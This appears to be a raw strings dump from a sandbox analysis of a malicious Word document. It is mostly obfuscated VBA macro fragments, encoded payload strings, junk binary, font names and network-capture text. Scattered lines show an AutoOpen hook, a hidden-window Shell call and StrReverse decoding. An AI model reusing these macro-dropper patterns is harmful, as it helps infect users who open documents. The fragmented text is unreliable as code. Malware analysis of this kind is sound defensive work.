qRpIYCRQviNmCFMHOoaQliujoRfW]BkIuzmR>6PZTMtTiEjOwNZpCTvijazzHEDLDSWjFKacobT-hbppYviXtohpbbjKYIOZwmiwTwPSWk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qsfGBdVkwT
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QsJnLrwivs2]@750027qBILwEAHMfJzNl1@]IznAjFi6UoQotfZKNTO893aLcVkiJZZSuOHT18Cp666PCtk UlwYfq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QtwJpqCSIhkwuTTkZXHKXiLWzjNN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qVdpHzImKK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
qx9Kq,H3^lp3C(DeXSh(iJJNM{\gC$;I({wo&mK~=I5spRi,:^!zR/FP/#RR5T?|g 0{wo0{gqdv
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QZAXlw(55]RG(EIAq4MD,JC}m2xr6,T0:AECe@?d+8>08IWC5q^r/90]^my@Y{VFCJ'R>ak[/'e^lMfM&)<4J:'p(f<RiS:YtsvZ)2*^q'N'U%\^6DMJiR)]\MJ(:|893d}!~&~ngr?6^pvCQWw)q)L,9IpU^+{@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QZAYDAkBBgDAyAE`GA0AwN`AIDAw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QZVQLtbifIzCZgSitLi(pOzAhdwWhoobLKPlXfaXJWNHkqFOwuPXRaWa
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
QZVQLtbifIzCZP704`=!SitL4End Function
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Rage Italic
Unicode based on Runtime Data (WINWORD.EXE )
RBIwwofIbcMWM7BZODNw\dNsUEdKiJ)EPrSAjpwWpoZkpjrmwXtjjfiETbqzhjV^fRwCGutrJ8NTXzjf"IfRsSrMtYUjMQOTkrlTqvvbkZc'd
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RblBPGJRDzjpNzXCjUJdaMKmrHwFMM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RBwSlwoYvSEGAmBQNAIDA2AQNAIDAiBQMAYGAyAQZAADAzAwMAYGA2AgNAEGAxAQYAgDAmBgMAADA5AgNAIDA4AwYAMGA3AAMAQDA3AQOAUDA0AAZAMDAmBQOAkDAlBQOAADAlBwNAgDAxAAZAkDAxAAMAkDAHjktqTDrjZhmTIBMfjzuW'V
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RcjHEzcXjwNILAsPYBwwiitoS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RCkVAQZhszSii+
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RDiDADHZPEnbi1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RdJ=R{f}h3
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RdollRLoot2615999
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Reference_
Ansi based on Image Processing (screen_0.png)
Referencet
Ansi based on Image Processing (screen_3.png)
REListbox20W
Unicode based on Runtime Data (WINWORD.EXE )
RhVOwkvbEqdzlRupHvSmQjAWqZ]EYRwpJhmJTGHiINqwQIkf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RhXNOmrALaqroTa9324eZSwXGw@PuGoMA9
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rjkQimD734816
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rjXSkNKzGRx
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rkHHZqvbVJAiifbKmYAq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RLLEKhMoiYjJD{I
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RMswC"IbOjoCdPQppNYBqA{MGAkDw"A@EGA@OA#@{ZAAA{QOAhB@kVMfXVrhLwQDnCKCDjzD@KRFjNjzuiownVwwPdzfmRIAA~TBUtIwsJA*(50060486bnUZbiM458CMHDIcoL2397193fkniHsTzABzvb871501NCSbaOB`JKMjkOCYLYjjRQI WRNhh58 16307@TcnwJaBpBNwqCQwpPfLTHF,VZaz WuQZpROKcYjAOsC49a6rkw@oncWVX-3@573701+avivSqmQFzq/158455mhBVomURS97811@pCiHo`CTFwf.qkiYFPSZBZX34595IaBhkzR+thcTX(>;0, 26>=wq@hQViSJ"sHUBkBkXbAj7I;AwAgGJnIEJJb7KzHWszUOYqhquEAF@.Xsv(203PZtAVtBllslSU@ 75767tiHAwOGG884ZYRDwKBCVaYYwc 2912^WFwzJFsaa4# WQswwfD53?JwVjhnhjPwEtVj DtRjUaIiZJKIkmhkwbuJD qYoCAm%4`77A(QaptWn7065044INYoUJPXPXzdlL75arAMaJnzsFinQ730`6$s0JznaLlmwfiazIRncnm9564672 BdSNAmzCil#rsBQPlVCXMJ75, 9`80uVbMJiE"jXMlGYOthwiWONvfwVzBRDOGgYA4}G wlYAcDA0{5 z5ZTHAhwjKrYhCD@vcMmMKKOaLniIV`(3028)OMiLBWZUQfd+66AdfzzanbsaZNA+61289B~iPdVZn NJQuD89 36443+FmSvfjjUYfqii,oqh@fVoJqv`1@046191 VZNltFjioaiuBlpizi!zKJjnqrGYbHjOYRcb9966@yqKuLuwZBw3102xKrnfLiTZD!9D6~j@wGldKq@1@392051LwiUqoPZqRpIYCRQviNmC4AA0aAMHOoaQBloRfWABkIuzmR)y#?, 4, 89@APZTMtTiEjOA"FCzzvY102t0N1zRZ4AQM!0M[iBQZAk0 11#2!^Mq#pN13fAP`BhB01AgNA5AQrOqxA&qIpUJ#ZpCTqBijazzHEDL`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rNrELojILqsCQekscPtsdWijtGIZoaFRuFDcnVqpjbYWLvthzwsmbwOSWW5Y
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rO(aQrT|2c!2\!.c$9g(B$'[JOtN4W7Hv%ENyr%p*bX/kFe5M^>$rpQJ;s<c|<&oizV2.AP/!w9SuKM %X((2"/i"I!mcfc"UO|# L0e;mn!.Iq[QRStk")@JQHiQmRR,tilFJ]:`z/TcNXqjpGw/f#Y7u8NCz:MuLzt=`=ZzF~:jy{HE:oN?>5etL_l)~T9i?gL>+;3\sV"JE((QE((QQ(t.[\(w@W.xz 1(((QQ((QQ(DQ@Nk>}bgNhUDzXX~}>pmyY?r(Q+x.B]8)Sl&j6[^n$a:Y
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Rockwell Condensed
Unicode based on Runtime Data (WINWORD.EXE )
Rockwell Extra Bold
Unicode based on Runtime Data (WINWORD.EXE )
ROKcYjAOsjrkwoncWVXvavivSqmQFzqOmhBVomURS6pCiHoCTFwfjqkiYFPSZBZXIaBhkzR7thcTX_wqhQViSJrKzHWs?zUOYqhquXPFzABXsv95ZtAVtBllslSUotiHAwOGGz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rolYSEnhliYRVKvdI<bVYBn1JSXFrd"8qWElZsbvsRtlwsSLmOxGVIYKKLzL
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rolYSEnhl|90*1%@YRVKvd9
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rORfcCSzVYXGlU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rPaYFAOY)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RRb6,}zB{<=4Gw=$&L:
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RsscbIE35511 ozEWc790l1%jTbCiQLkiztEq3wjisjYlzY
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RSsU&&EQfd|?JPEG4m")-MFTkf!~:Z1d&sMCLSXk.+PjjPjVDI9vQu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rstdole>stdoleP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RU@NtWwLj(@407412tHqdjbwzjCK9456727`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RV5j-CT<7or/5INr\%eU6e$&2e1BcK-Cr::bSj3(hBis`zV5cDrDD4`zdV&M0%b5-*>lu|#h0N
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
RwalIJRLZzQOu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rwhXqMKs'BRDRvpnMvrkbwbmPGYzfD(9772879?kPkSjcUPAHGi + 2695084WKiazvmChjwhFq[8899612IEwTQjfFUdTS5480417TqsYWwqYfIM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
rX,$N'b N
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
r{$`0!@wh(=Jl_QrkYyx*+_@%kZe@ ,DH-A&rLX h`yM4Ax&R>xH 0I@rV,_]P)Cl6D/JKZE[Y^^^J4XEAt]W7ZUB}9!3
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
R~Qd+}(-'QjJqzB&-gBI$FB|9gKO)3?dthN<OQH(8%A(#GFR=xnQMG^Q4.`IJFD?xf:%p{bJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
s%dzVt_xD<?*MaZPGO*A.Z@z^zy\i!@c&&`kp&u@Fl1@xy@I?d%#J0Lg0%fOx
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
s666666666vvvvvvvvv666666>6666666666666666666666666666666666666666666666666hH66666666666666666666666666666666666666666666666666666666666666666p62&6FVfv2(&6FVfv&6FVfv&6FVfv&6FVfv&6FVfv&6FVfv8XV~ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ 0@ OJPJQJ_HmHnHsHtHJ`JNormaldCJ_HaJmHsHtHDA D
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
S:qfg0R@)56jWxvCIkT"+1+R12?p|m`t_8WLU6RQP*J?%5|OUX$OsGs6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
s>A? 8AC=>: 1"bZak230D"nzZak230PNG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
S?xlrmgD2q7TVProject.bOZoJDmQi.AutoOpenPROJECT.BOZOJDMQI.AUTOOPEN@@UnknownG*AxTimes New Roman5Symbol3.*CxArial7.@Calibri5..[`)TahomaA$BCambria Math"hWb'Wb'!r0@P$Pq6!xxOh+'0XD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Sakkal Majalla
Unicode based on Runtime Data (WINWORD.EXE )
saM~1VF^95.s@)h,9lG;yl <|@WhkPkJPe{4V\([)*K$pSF1};
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SAzjWLdIKolPzbvR2rCWEkOvCnuFICrYjGDhMnPCbfCXzuzrkQdswYIQbUQiOAjasoOZYZpjmQzQuLURRaudvRhwwErsGbfK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Script MT Bold
Unicode based on Runtime Data (WINWORD.EXE )
SDEszdpfLAkfZPlYIYYSaOUHa!JpYrfKCwQZKMiJNKjiFQK0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SdLo \hd-IxXtx0RJ5Y|<%I$Th1eO6<)0B%7PC$B+-ae(V0"y<e^}Cb;W)P*mc&LS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Segoe Print
Unicode based on Runtime Data (WINWORD.EXE )
Segoe Script
Unicode based on Runtime Data (WINWORD.EXE )
Segoe UI Light
Unicode based on Runtime Data (WINWORD.EXE )
Segoe UI Semibold
Unicode based on Runtime Data (WINWORD.EXE )
Segoe UI Semilight
Unicode based on Runtime Data (WINWORD.EXE )
Segoe UI Symbol
Unicode based on Runtime Data (WINWORD.EXE )
sEQoINBtEZNWPwqGwGBzrUstnJjiSLk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
setTimeout(startCountdown(), 0); setTimeout(browserIntegrityCheck(), 0); setTimeout(redirect(), 0); }, false); })(); // </script> </head> <body> <table width="100%" height="100%" cellpadding="20"> <tr> <td align="center" valign="middle"> <div> <noscript> <h1 style="color:#990000;">Please, turn Javascript on in your browser then reload the page.</h1> </noscript> <div id="content" style="display:none"> <div class="sk-circle"> <div class="sk-circle1 sk-child"></div> <div class="sk-circle2 sk-child"></div> <div class="sk-circle3 sk-child"></div> <div class="sk-circle4 sk-child"></div> <div class="sk-circle5 sk-child"></div> <div class="sk-circle6 sk-child"></div> <div class="sk-circle7 sk-child"></div> <div class="sk-circle8 sk-child"></div> <div class="sk-circle9 sk-child"></div> <div class="sk-circle10 sk-child"></div>
Ansi based on PCAP Processing (network.pcap)
SeXIJ^P77Ps+)3';Bc{DJXTNC##SFdJZyJzt~yARR"v2zd7..#YuT$%T,L)M/8;'LIZ)j<7[\vqw~>.mZ)Elr)Uuv2RNVsAJ3$>5
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SF[J,}ojUq're9H
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SFtRjhwBwTn<rHOlHDYfNZtPvIIa5
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SHAppBarMessage
Ansi based on PCAP Processing (network.pcap)
Shell drhQzJajzSLR;+ u zYCZjzkYMLKHWbc, vbHide
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SHELL32.dll
Ansi based on PCAP Processing (network.pcap)
ShellAboutW
Ansi based on PCAP Processing (network.pcap)
SHGetDesktopFolder
Ansi based on PCAP Processing (network.pcap)
SHGetDiskFreeSpaceExA
Ansi based on PCAP Processing (network.pcap)
sHHZDbSnol3673/ ZBqjwV98%XFkmZPEKRUACaN#NJRfKBARjUrO 791491wLhFmXUAoWITulGq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sHHZDbSnolNZBqjwVXFkmZPEKRUACaS6NJRfKBARwkljUSwLhFmXUAoWIhiAsrJVnpLjaFUMoFlQZ[*HQzXRiuVnCwpkwRoiJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sHml KJrEv@^zZKhNsKBT`DwXCjk@(8006843`jNdCOMqVbsRp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Shonar Bangla
Unicode based on Runtime Data (WINWORD.EXE )
Showcard Gothic
Unicode based on Runtime Data (WINWORD.EXE )
ShowWindow
Ansi based on PCAP Processing (network.pcap)
SHzYRwHVziGLuPjjz[WPic@OibzSBd@QIcNshChrW(34)FnFXCqrORXHCjIBTlSFkaI@KJZTfPEOGbItCsBVhJwfulZSjwhPELUPRwpHZ+ kJQbk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Simplified Arabic
Unicode based on Runtime Data (WINWORD.EXE )
Simplified Arabic Fixed
Unicode based on Runtime Data (WINWORD.EXE )
SimSun-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
SjEANlwdimRnJ$mSjSbwtij\mrZYqcELNGNvvXFHaGjivQ8lzJvzYzXMbzSjJusrvGT"eMWNXZXtDCNntH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SJI,7-r+<5JK0%wrVk;USi9qcV{ljV1Sn4c*);@}?QFJX[NInr\SJ)}\I{p
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sjMLXPSvijU&
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SKbtDQVzbEq8XtiRwjBjTQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SKlOomlksVwYi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sKWNn V/ kQUlqz' 2` "9= $ &
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sKWNnav% tes&&sVElbTcWkQUlqz' _ @W ho / X,$N' " $ &w ( *NB , .m 0X,$N' $j'2*kDkYzNHcdKUiHwpduGjwlD=%TwwKRSfILscWQAimaj'4 8 :N << >ql @e@ B D FX,$N'6 J Lg Nmn P? RM2 T V#Q XX,$N'H 4$j'ZwwXFzzcMonZlqwjhYkaR&!%LEAMJ'\ ` b': dwh fZ h. j lY nX,$N'^ r t v%R x` zm | ~P X,$N'p \$j'ii1rav%!=%7ishhNjRRjpE' v? & f#< 0 " X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
sKWNnZAIDA1AwNAEGA4AgMAUDAzAgMAQGAmBwNAIGAiBQMAQGAmBANAMDA4AAZAMDA1AwMAIGAzAgNAEDAyAANAIDAkBQMAADA3AQMAcDA2AAMAEDAxAANAQGAkQUlqz' : 2 S X,$N' ?; tz,xME,@I.0x<d8If02hZptivlPIn4p~>Z0/"(8HXpBx:ff0Dff`ff `ffhdfxffff0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Sl@ZXjUXS1ItizqXhDEAcVivcnhAM EszMA(8 60308dlXFb200qYmFCoDokz PCrBW@(176p5qjHTZqhiBzQ6P07@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SLibrzwvnfaKA,tAYZwXZLYWoQFUXaQNrEfOMDhZzTWPwkBEWtwmSDULiqTIaHqBwGZpckzMhf>JssLoTrmZDBIjWzZjUBKVEWjZDvYuoILVEjdRtjhkmWftmPcblWGSjRidKCcN6kNoDcrjsXscYownizcJRtZoPakJQbkPTJPLcdqonjsmwXnkAVLtk:wkpUizVdQ.GiupVSwhjvNTXtIIhmsIcvPOofLFlshVKzZKWUpj#AXVzpoNwfVOaSuFSwnnbz(zMwjwKJqJAHuBJirSRMjTssqpWspzDjifEEXhjXriYlsFOmciEaNaFzQiIJlqcREteoMTkCJUFwQdDCJTfriSEj%PiwiIbBUjrpsHa,GAAzE>jKofwjNlEuiZcrsybVtOMZUuzBioFzENZwwbESZYlDAWaMLu:dzlzEPAY,
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SLjJjrBBnwjDInwnpDlzzZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SmQjAWqZ%"wLcQAYLvTkipjXB%htASriabQBjUJXwpiEqqAtdwqnONPGfCzFoD"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SnDmXhOBVzozMWYvpmudki(215749AjMiXuGH + 6438469PtOVBLTdocV37n
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SpellingAndGrammarFiles_1033
Unicode based on Runtime Data (WINWORD.EXE )
SpellingAndGrammarFiles_1036
Unicode based on Runtime Data (WINWORD.EXE )
SpellingAndGrammarFiles_3082
Unicode based on Runtime Data (WINWORD.EXE )
SpqZodGzfmMucQkGwAIcIVXFiEtb
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ssq pWspzjifEEX(380PjXriYlsFOmciE*a02#6@~* NaFzQiIJlqcREtas1p:`oMTkCJUFwQd\(69QCJTf0riSE1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
stdole`Project-ThisDocument<_EvaluateNormalOfficeuDocumentjModule1bzAnsZRGsy
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SthAnuMSfnVpP:wtwidGjhYndivZmKthrY{HtsIARqAFMb`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
STplUhhUXOizImmD8KclAXvvLVBC$jAwHiJiDzWuUDpnGHBcoKdVzmhTKsbAGPUmjhJKUizFm0JTkKtpbRZolYiu?bPqNNqqKsnzYLXizrZj!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
StringFileInfo
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
StrReverseWfKvjcYABrwiaHLwiiiJlMf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Sub hoobLKPlXfaX(JWNHkqFOw)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Sub jHTaHviiMS(hiOQkbpDTl)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Sub jwAPrmtHfWYiZU(GhRoHsczow)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SubzFGYQzFpKYzFO(vVAIwfRYGflYzr As StringvtrJqSMzaOBEXHsITO!=KNrQL(``tIjJze110@9MvcvWKTz:@299718AUtQoCDElDCwRa`824473;fcnYEN0jLzD;rm nDWvrAp@k81AIunIDMrwPuWutBD#<iSlHHYNLP`QEB@AHkkniPpYozjFhIzPmT( : wcGsijkiPXrzKAb8z176@JjLul`OKilY@5160FOAil@EBTIiuP_/ 6095894$AwAYOq`)ofaYKld(zUU 6 25?fUXNNFp@XVipLbGGKhlAnAa
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SuJlN\Zur@uQINOdrfzUfpHCAYBG(6606282 / PioLZ + 2286012 * Tlvsivq JBOLQ(6@038291+GwDNiWpzSKSL7619162 - Tan(mTCoRz XtBbwCBool(QtwJpqCSIhkwu1927697TTkZXHKXiLWzjNSpqZodGzfmQMucQkGwAIcIV@XFiEtb( 85328 aRBZm\1047086TQwSr WEvnIZ504095iBTLPz2806753WnSzHdXfKmdarXAbkJCllQcRaWjs973205XPBEKzSDRqpTrWNbi8HqLI, 124FVlzE"djbuSEbwaMspaFrh=RjRJFNSnspJKidvfHfViCbofzfiKzsw@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SWwoiuMTanKFn,
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
SXzztjnitU[
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Symantec Corporation1
Ansi based on PCAP Processing (network.pcap)
Symantec Trust Network100.
Ansi based on PCAP Processing (network.pcap)
Symantec Trust Network1604
Ansi based on PCAP Processing (network.pcap)
SZ2O,Q 5y;y=eEG|\PM7$|n]]4`U6G(^_W-v]m{t q}}vri0 D3]d3Sx:8}d-i*xqCZ}WlqyI@^6Ij!Q_ sZ{ahHTmjyV`f<U!2OiU|L`UvL$r3IC4Yuhd(|PZ+X\6`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
szOXjVFuIlXpptkJCzGIjMqXNkXokatTBwhdZLYIscSzGOakjjjTChJIVaiFOQUsp]jYXvjYUOEs@QnNVzEArKO>zNQVE?uJXDjYqLMnzu0ErhMBPdEq(UtcTDSidLrBj)zGtoDKFRuLdXYzKifSfaHVwXHtdRQWbCIGNEIkQTvOblZvljzf7IFiAjmuasSIUCLuWvCMfstP$wriRqDjAPiEwVtCZjOzF~odkWJdMkly&UEwiKXDPb UmcqwwjTcMAQcEStoXWCzTFuZKsBXkGwwjnqqAtYkD~
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
S{dZL-D&i=mwlsqm"JE_hv91Cj&W/5r,\7m!5'4:c_[NOV-tb&{}}W\^mmwC#H)@JX_OA?~Fvn*LG%RE;"*Yg)DG"R(RRjpPW?isP=y.p=hy:i5xs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
t * R'< 0 2,z 4P 60c> 8< : < >X,$N'. B D FanI HYf J( L N PX,$N'@ T V)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
t$j'$LGwXfFgMAUDAzAQZAUGAkBAOAMGAiBgMAUGA4AQYAgDA4AQYAUDA3AANAEDAlBgNAgDAkBwYAkDA5AQYAUDAyAwNAcDAyAQOAEGAyAwYAQGA3AgMAIDA2AQZAIDAzAwYAUGA2AwMAYGAiBgYAMGA5AAOAYDAyAQYAADA3AQYAcDAwAAZAUDA3AgYAQDAkBwMAIGGlmMuYRpjiYj'& * ,JW .*K= 0B 2Ky 4 6:ny 8X,$N'( < >{ @ BX D\> F H|L JX,$N': &
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
T&t"v!fHc
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
T,`D`sSMO+
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
t-p-e.net
Ansi based on PCAP Processing (PCAP)
t_-_t_-__
Ansi based on Image Processing (screen_0.png)
T`vn$$2?W,XI|Hs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
tADRtkCOTSRfRUJhaNpY/[TmiOKn#VmjBifPkVjws
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
TbRSrtUAZVEUomGfFrUrbDvYN..iRGUUsNY
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
